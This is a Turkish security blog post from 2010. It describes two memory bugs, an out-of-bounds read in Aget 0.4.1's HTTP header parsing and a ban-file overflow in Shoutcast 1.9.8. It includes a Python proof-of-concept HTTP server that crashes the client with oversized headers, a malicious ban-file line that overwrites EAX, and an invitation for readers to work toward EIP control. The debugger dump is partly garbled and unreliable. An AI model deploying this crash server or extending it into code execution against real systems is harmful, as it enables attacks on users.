

Egzersiz...

written by Mert SARICA | 5 January 2010

Pas tutmamak için kaynak kodu inceliyor, fuzzing ile de ufak tefek programları kurcalıyordum ki iki farklı uygulamada iki bug ile karşılaştım. İstismar edilme ihtimallerinin oldukça düşük olduğunu düşünsemde el elden üstündür diyerek sizlerle paylaşıyorum belki aranızdan biri istismar ederek bizleri aydınlatır.

İlk olarak bir çok linux dağıtımında yer alan Enderunix'in Aget v0.4.1 programınının kaynak kodlarını inceledim.

```
aget-0.4.1\Defs.h
```

```
...
```

```
GETRECVSIZ = 8192,
```

```
....
```

```
aget-0.4.1\Download.c
```

```
...
```

```
void * http_get(void *arg) {
```

```
struct thread_data *td;
```

```
int sd;
```

```
char *rbuf, *s;
```

```
...
```

```
if ((dr = recv(sd, rbuf, GETRECVSIZ, 0)) == -1) {
```

```
Log(" recv failed: %s", tid, strerror(errno));
```

```
pthread_exit((void *)1);
```

```
}
```

```
...
```

```
rbuf = (char *)calloc(GETRECVSIZ, sizeof(char));
```

```
...
```

```
s = rbuf;
```

```
i = 0;
```

```
while(1) {
```

```
if (*s == '\n' && *(s - 1) == '\r' && *(s - 2) == '\n' && *(s - 3) == '\r') {
```

```
s++;
```

```
i++;
```

```
break;
}
s++;
i++;
}
```

Yukarıdaki koda dikkat edecek olursak Defs.h dosyasında GETRECVSIZ, 8192 byte olarak tanımlanmış ve calloc fonksiyonu ile 8192 byte büyüklüğünde hafıza tahsis edilmiş ve rbuf'a atanmış ancak kontrolsüz while döngüsü nedeniyle hafıza taşması sorunu ortaya çıkıyor ve sonuç olarak array index out of bound zaafiyeti ile karşılaşırız.

Zaafiyeti teyit etmek içinse daha önce internette bulduğum (sanırım milw0rmda bulmuştum) ve client-side güvenlik zaafiyetini istismar etmek için hazırlanmış olan aracı biraz değiştirerek teyit ettim, sonuç segmentation fault.

```
#!/usr/bin/env python
from BaseHTTPServer import HTTPServer
from BaseHTTPServer import BaseHTTPRequestHandler
import sys
try:
import psyco
psyco.full()
except ImportError:
pass
class myRequestHandler(BaseHTTPRequestHandler):
try:
def do_HEAD(self):
# Always Accept GET
# self.printCustomHTTPResponse(200)
buffer = "HTTP/1.1 200 OK\r\nDate: Sat, 02 Jan 2010 13:06:39 GMT\r\nServer:
Apache/2.2.11 (Debian) DAV/2 SVN/1.5.1 mod_python/3.3.1 Python/2.5.2
mod_ssl/2.2.11 OpenSSL/0.9.8g mod_transform/0.6.0\r\nLast-Modified: Thu, 02
Jun 2005 07:53:29 GMT\r\nETag: \"f6cedc-5c800-3f88a8879f040\"\r\nAccept-
Ranges: bytes\r\nContent-Length: 1\r\nContent-Type: application/x-msdos-
program\r\n"
self.wfile.write(buffer)
def do_GET(self):
```

```

# Always Accept GET
self.printCustomHTTPResponse(200)
# Print custom HTTP Response
def printCustomHTTPResponse(self, respcode):
self.send_response(respcode)
self.send_header("Server", "myRequestHandler")
self.send_header("Content-Length", "1")
buffer = "A"*8041 + "\r\n" + "A"*8041 + "\r\n" + "A"*8041
# self.send_header("Content-type", "application/x-msdos-program")
self.send_header("Content-type", buffer)
# self.wfile.write(buffer)
self.end_headers()

except Exception:
pass
httpd = HTTPServer(('', 80), myRequestHandler)
try:
httpd.handle_request()
httpd.serve_forever()
except KeyboardInterrupt:
print ("\n\nExiting exploit...\n\n")
sys.exit()

```

Aget dışında download.com internet sitesinde gezinirken zamanında eğlenmek için kullandığım shoutcast internet radyo programı ile karşılaştım ve göz atmaya karar verdim. Kurulumu gerçekleştirip biraz incelediğimde admin panelinde IP adresi banlamak ve görüntülemek için kullanılan Ban List bölümü dikkatimi çekti. Programın banlanan IP adresini ise sc_serv.ban dosyasına kayıt ettiğini ve her çalıştırıldığında yüklediğini öğrendikten sonra fuzzing için hedef dosyayı inceledim ve test için banladığım IP adresine ait kaydın *1.1.1.1;255;Manual Add* olarak dosya içerisinde yer aldığımı gördüm. File fuzzing'i otomatize etmek için bir script hazırlamadan önce manuel olarak gerçekleştirdiğim ilk testte uygulamanın göçtüğünü gördüm ve debugger ile incelediğimde EAX registerına istediğim değeri yazabildiğimi gördüm ancak biraz daha inceledikten sonra EIP registerına gidecek azmi ve vakti bulamadım ve egzersiz olarak sizlere bırakabileceğimi düşündüm.

Shoutcast v1.9.8 (windows & linux)

sc_serv.ban içerisinde *1.1.1.1;255;AAAAA*(281 tane) satırını eklemeniz EAX registerına yazabilmeniz için yeterli oluyor.

Immunity Debugger - sc_serv.exe - [CPU - thread 00000244, module ntdll]

File View Debug Plugins InmLib Options Window Help Jobs

Registers (FPU) <

7C91B210 FF4B 10 INC EDI, PTR DS:[EAX+10]

7C91B211 8945 FC MOV EDI, DWORD PTR SS:[EBP-4]

7C91B220 83E0 01 AND EAX, 1

7C91B223 894E E8 MOV EDI, DWORD PTR SS:[EBP-18], EAX

7C91B226 894E E8 MOV EDI, DWORD PTR DS:[ESI+11]

7C91B228 FF4B 14 INC DWORD PTR DS:[EAX+14]

7C91B228 F695 F002FE7F TEST BYTE PTR DS:[7FFFE02F0], 1

7C91B238 0F85 2E370200 JNB ntdll.7C94387E

7C91B238 395D E8 CMP DWORD PTR SS:[EBP-18], EBX

7C91B238 57 PUSH EDI

7C91B238 58 PUSH EBX

7C91B23D 085E F8840100 JNB ntdll.7C93973B

7C91B243 FF75 FC PUSH DWORD PTR SS:[EBP-4]

7C91B246 E8 032DFFFF CALL ntdll.zwWaitForSingleObject

7C91B246 30 02010000 CMP EAX, 102

7C91B250 0F84 A8B70200 JNB ntdll.7C943A01

7C91B256 3BC3 CMP EAX, EBX

7C91B258 0F85 00800200 JNB ntdll.7C943A8E

7C91B25E 385D 08 CMP BYTE PTR SS:[EBP+B], BL

7C91B261 5F POP EDI

7C91B262 74 18 JNB SHORT ntdll.7C91B270

7C91B264 6441 13000000 MOV EDI, DWORD PTR FS:[13]

7C91B266 8B40 24 MOV EAX, DWORD PTR DS:[EAX+24]

7C91B26D 894E 0C MOV EDI, DWORD PTR DS:[ESI+C], EAX

7C91B270 6441 13000000 MOV EDI, DWORD PTR FS:[13]

7C91B276 8938 84F00000 MOV DWORD PTR DS:[EAX+84], EBX

Registers (FPU): EAX 42324242, ECX 00000000, EDI 000205F0, ESP 0006ED53, EBP 0006EDDC, ESI 000205E0, ASCII "BBBBCCBB", EDI 00000000, EIP 7C91B21A, ntdll.7C91B21A, D 0, E8 0023 32bit (0FFFFFFF), P 1, CS 001B 32bit (0FFFFFFF), R 0, SS 0023 32bit (0FFFFFFF), Z 1, DS 0023 32bit (0FFFFFFF), S 0, FS 0038 32bit (7FFDE000FFF), T 0, GS 0000 NULL, LastErr ERROR_SUCCESS (00000000), EFL 00000246 (NO, NB, E, BE, NS, PE, GE, LE), ST0 empty 0.0, ST1 empty 0.0, ST2 empty 0.0, ST3 empty 0.0, ST4 empty 0.0, ST5 empty 0.0, ST6 empty 0.0, ST7 empty 0.0, 3 2 1 0 F . S . P . I . 0 . 7 . 0 . 1

Address Hex dump ASCII

0041A000	00 00 00 00 00 00 00 00
0041A008	00 00 00 00 7C 3E 41 00ISA.
0041A010	00 00 00 00 7E 41 00 00IA..
0041A018	00 00 00 00 24 3E 41 00\$6A.
0041A020	00 00 00 00 00 00 00 00
0041A028	00 00 00 00 00 00 00 00
0041A030	10 27 00 00 48 54 54 50	!...HTTP
0041A038	2F 31 2E 31 20 3E 30 30	/.1.500
0041A040	00 00 00 00 48 54 54 50	...HTTP
0041A048	2F 31 2E 31 20 3E 30 30	/.1.500
0041A050	00 00 00 00 48 54 54 50	...HTTP
0041A058	2F 31 2E 31 20 3E 30 34	/.1.404
0041A060	00 00 00 00 48 54 54 50	...HTTP
0041A068	2F 31 2E 30 20 34 30 34	/.1.404
0041A070	00 00 00 00 48 54 54 50	...HTTP
0041A078	2F 31 2E 30 20 34 30 31	/.1.401
0041A080	00 00 00 00 48 54 54 50	...HTTP
0041A088	2F 31 2E 31 20 34 30 31	/.1.401
0041A090	00 00 00 00 48 54 54 50	...HTTP
0041A098	2F 31 2E 30 20 3E 30 30	/.1.200
0041A0A0	00 00 00 00 48 54 54 50	...HTTP
0041A0A8	2F 31 2E 31 20 3E 30 30	/.1.200
0041A0B0	00 00 00 00 69 63 73 20	...lc~-
0041A0B8	61 75 74 63 69 63 63	auth-kic
0041A0C0	68 20 75 69 64 5B 00 00	k-uld...
0041A0C8	69 63 79 20 61 75 74	ic~-auth
0041A0D0	20 64 75 72 61 74 69	~duratio
0041A0D8	6E 30 00 00 69 63 73 20	n...ic~-
0041A0E0	61 75 74 63 20 69 63 73	auth-err
0041A0E8	6F 76 50 00 41 43 45 00	xy...DCL

0006ED63 0006EE54 T:i

0006ED6C 00423034 40B: sc_serv.00423034

0006ED70 0006EE54 T:i

0006ED74 00000576 v.:

0006ED78 00000008 n...

0006ED7C 00000004 *... *

0006ED80 0006ED5C ~:i

0006ED84 00000000 ~..

0006ED88 0006FF44 * i:

0006ED8C 7C809A08 iwa: kernel32.7C809A08

0006ED90 7C809C48 H&: kernel32.7C809C48

0006ED94 FFFFFFFF *i:

0006ED98 7C80189C &T;: RETURN to kernel32.7C80189C from kernel32.7C802511

0006ED9C 00415057 WPA: RETURN to sc_serv.00415057 from kernel32.ReadFile

0006EDA0 00000004 a... *

0006EDA4 0007F080 * i:

0006EDA8 0006E008 iY: ASCII "1.1.1.1;255;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7

0006EDAC 7C92C9CF &FE: RETURN to ntdll.7C92C9CF from ntdll.isdigit

0006EDB0 00000001 i... *

0006EDB4 0006EE70 ~:i

0006EDB8 0006EE60 ~ i:

0006EDBC 00000000 ~..

0006EDC0 00000001 0... *

0006EDC4 00000001 0... *

0006EDC8 00000001 0... *

0006EDCC 00000001 0... *

0006EDD0 00000001 0... *

0006EDD4 00000000 ~..

0006EDD8 00000008 &... *

0006EDDC 0006EDF4 ~:i

0006EDE0 7C901046 F&: RETURN to ntdll.7C901046 from ntdll.RtlpWaitForCriticalSection